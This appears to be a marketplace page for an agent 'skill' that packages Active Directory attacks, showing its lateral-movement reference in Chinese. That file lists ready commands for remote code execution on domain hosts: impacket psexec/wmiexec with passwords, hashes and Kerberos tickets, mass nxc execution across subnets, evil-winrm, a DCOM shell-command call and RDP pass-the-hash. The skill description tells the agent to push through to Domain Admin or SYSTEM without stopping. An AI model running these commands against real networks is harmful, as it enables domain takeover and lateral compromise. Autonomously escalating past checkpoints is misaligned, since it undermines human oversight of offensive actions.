pale-knight/redteam-skill / skills/ad-attack
ad-attack
VerifiedActive Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 6.3 KB |
| references/acl-abuse.md | markdown | 3.6 KB |
| references/adcs.md | markdown | 13.9 KB |
| references/auth-reflection.md | markdown | 4.5 KB |
| references/authentication-coercion-relay.md | markdown | 6.6 KB |
| references/dmsa.md | markdown | 6.1 KB |
| references/identity-confusion.md | markdown | 3.6 KB |
| references/kerberos-attacks.md | markdown | 2.9 KB |
| references/lateral-movement.md | markdown | 2.0 KB |
| references/management-plane.md | markdown | 2.1 KB |
references/lateral-movement.md
View on GitHub# 横向移动工具命令对照
---
## 选择矩阵
| 工具 | 认证方式 | 端口 | 权限 | 特点 |
|---|---|---|---|---|
| psexec | 密码/Hash | 445 | SYSTEM | 写服务+SMB,最常用 |
| wmiexec | 密码/Hash | 135+高端口 | admin | 不写磁盘,较隐蔽 |
| smbexec | 密码/Hash | 445 | SYSTEM | 不需Admin$ |
| atexec | 密码/Hash | 445 | SYSTEM | 通过计划任务 |
| evil-winrm | 密码/Hash | 5985 | admin | PS shell,上传下载 |
| DCOM | 密码 | 135+高端口 | admin | 不常用,绕防御 |
| RDP | 密码/Hash* | 3389 | GUI | 需Restricted Admin做PTH |
## impacket全家桶
```
# 密码认证
impacket-psexec corp.com/admin:'pass'@TARGET
impacket-wmiexec corp.com/admin:'pass'@TARGET
impacket-smbexec corp.com/admin:'pass'@TARGET
impacket-atexec corp.com/admin:'pass'@TARGET 'whoami'
# Hash认证(PTH)
impacket-psexec -hashes :NTHASH corp.com/admin@TARGET
impacket-wmiexec -hashes :NTHASH corp.com/admin@TARGET
# Kerberos认证(PTT/Overpass)
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass corp.com/admin@TARGET.corp.com
```
## nxc批量
```
# 批量命令执行
nxc smb TARGETS -u admin -p 'pass' -x 'whoami' # cmd
nxc smb TARGETS -u admin -p 'pass' -X 'Get-Process' # PowerShell
nxc smb TARGETS -u admin -H NTHASH -x 'whoami' # PTH
# 判断哪些机器有管理权限
nxc smb 192.168.50.0/24 -u admin -p 'pass'
# (Pwn3d!) = 有本地管理权限
```
## WinRM
```
evil-winrm -i TARGET -u admin -p 'pass'
evil-winrm -i TARGET -u admin -H NTHASH
# 内置PS remoting
$cred = New-Object PSCredential("admin", (ConvertTo-SecureString "pass" -AsPlainText -Force))
Enter-PSSession -ComputerName TARGET -Credential $cred
```
## DCOM
```
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","TARGET"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami > C:\temp\out.txt","7")
```
## RDP
```
xfreerdp /u:admin /p:'pass' /v:TARGET /cert-ignore
xfreerdp /u:admin /pth:NTHASH /v:TARGET /cert-ignore # 需Restricted Admin Mode
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| planning-and-task-breakdownaddyosmani/agent-skillsBreaks work into ordered tasks. Use when you have a spec or clear requirements and need to break work into implementable tasks. Use when a task feels too large to start, when you need to estimate scope, or when parallel work is possible. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| screenpipethedotmack/claude-memSearch screen and audio history recorded by Screenpipe and optionally save selected context into claude-mem. Use when the user asks to recall desktop activity, a meeting, or something seen in another app through Screenpipe. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |
| contact-widgetnexu-io/open-designSelf-contained floating chat widget with welcome screen, social links, meeting button, and message input. Single HTML file, zero dependencies. | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |
| meeting-notesnexu-io/open-designMeeting notes page — title bar with attendees, agenda checklist, decisions block, action items table with owners + dates, and a "next meeting" footer. Use when the brief mentions "meeting notes", "minutes", "1:1 notes", "all-hands recap", or "会议纪要". | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |